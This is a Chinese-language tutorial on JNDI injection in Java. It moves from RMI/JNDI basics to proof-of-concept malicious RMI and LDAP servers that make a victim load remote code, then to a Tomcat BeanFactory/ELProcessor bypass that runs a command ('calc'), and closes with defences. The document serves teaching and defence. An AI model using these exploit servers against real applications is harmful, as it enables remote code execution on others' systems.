java安全-JNDI注入
字数 989 2025-08-29 22:41:38
JNDI注入安全漏洞详解
1. JNDI基础概念
JNDI (Java Naming and Directory Interface) 是Java提供的一个API,核心思想是通过名称映射到对象,实现资源的查找和访问。
1.1 JNDI与RMI结合
JNDI可以通过RMI (Remote Method Invocation) 查找远程服务,以下是基本实现示例:
远程接口定义:
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}
接口实现类:
import java.io.Serializable;
import java.rmi.RemoteException;
public class RemoteObjImpl implements IRemoteObj, Serializable {
@Override
public String sayHello(String keywords) throws RemoteException {
return "hello " + keywords;
}
}
RMI服务器端:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args) throws Exception {
final RemoteObjImpl remoteObj = new RemoteObjImpl();
final Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("remoteObj", remoteObj);
// 保持服务器运行
while (true) {}
}
}
RMI客户端:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiClient {
public static void main(String[] args) throws Exception {
final Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
final IRemoteObj remoteObj = (IRemoteObj)registry.lookup("remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
1.2 JNDI服务绑定RMI
JNDI服务端:
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class JNDIRMIServer {
public static void main(String[] args) throws NamingException, RemoteException {
final InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
}
}
JNDI客户端:
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class JNDIRMIClient {
public static void main(String[] args) throws NamingException, RemoteException {
final InitialContext initialContext = new InitialContext();
final IRemoteObj remoteObj = (IRemoteObj)initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
2. JNDI注入漏洞原理
当JNDI客户端的lookup()方法参数可控时,攻击者可以构造恶意RMI或LDAP地址,导致远程代码执行。
2.1 基本攻击方式
恶意JNDI服务端:
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
public class JNDIRMIServer {
public static void main(String[] args) throws NamingException, RemoteException {
final InitialContext initialContext = new InitialContext();
final Reference reference = new Reference("evil", "evil", "http://localhost:8081/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}
当客户端访问该RMI服务时,会自动加载恶意引用对象,从指定URL下载并执行恶意代码。
2.2 LDAP协议绕过(JDK 8u191之前)
在JDK 8u191之前,LDAP协议也可用于JNDI注入攻击:
LDAP服务端:
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
public class JNDILDAPServer {
public static void main(String[] args) throws NamingException {
final InitialContext initialContext = new InitialContext();
final Reference reference = new Reference("evil", "evil", "http://localhost:8081/");
initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com", reference);
}
}
LDAP客户端:
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class JNDILDAPClient {
public static void main(String[] args) throws NamingException, RemoteException {
final InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
}
}
3. 高版本JDK绕过技术(8u251+)
高版本JDK限制了远程RMI和LDAP的访问,但仍有绕过方法:
3.1 使用Tomcat的BeanFactory
利用Tomcat自带的BeanFactory类中的getObjectInstance方法,通过EL表达式执行命令:
绕过示例:
import org.apache.naming.ResourceRef;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
public class JNDILDAPServerBypass {
public static void main(String[] args) throws NamingException {
final InitialContext initialContext = new InitialContext();
final ResourceRef resourceRef = new ResourceRef(
"javax.el.ELProcessor",
null,
true,
"org.apache.naming.factory.BeanFactory.java",
null
);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
initialContext.bind("rmi://localhost:1099/remoteObj", resourceRef);
}
}
4. 防御措施
- 升级JDK:使用JDK 8u191及以上版本,限制JNDI远程访问
- 输入验证:严格校验
lookup()方法的参数,禁止用户控制JNDI查找地址 - 安全配置:
- 设置
com.sun.jndi.rmi.object.trustURLCodebase=false - 设置
com.sun.jndi.cosnaming.object.trustURLCodebase=false
- 设置
- 代码审计:检查所有使用JNDI查找的代码,确保参数不可控
- 使用白名单:限制JNDI只能访问可信的命名和目录服务
5. 漏洞利用场景
- 反序列化漏洞中的JNDI注入
- 日志框架中的JNDI查找(如Log4j漏洞)
- 动态加载外部资源的应用
- 使用JNDI查找LDAP/RMI服务的应用
通过深入理解JNDI工作机制和注入原理,可以更好地防御此类安全漏洞。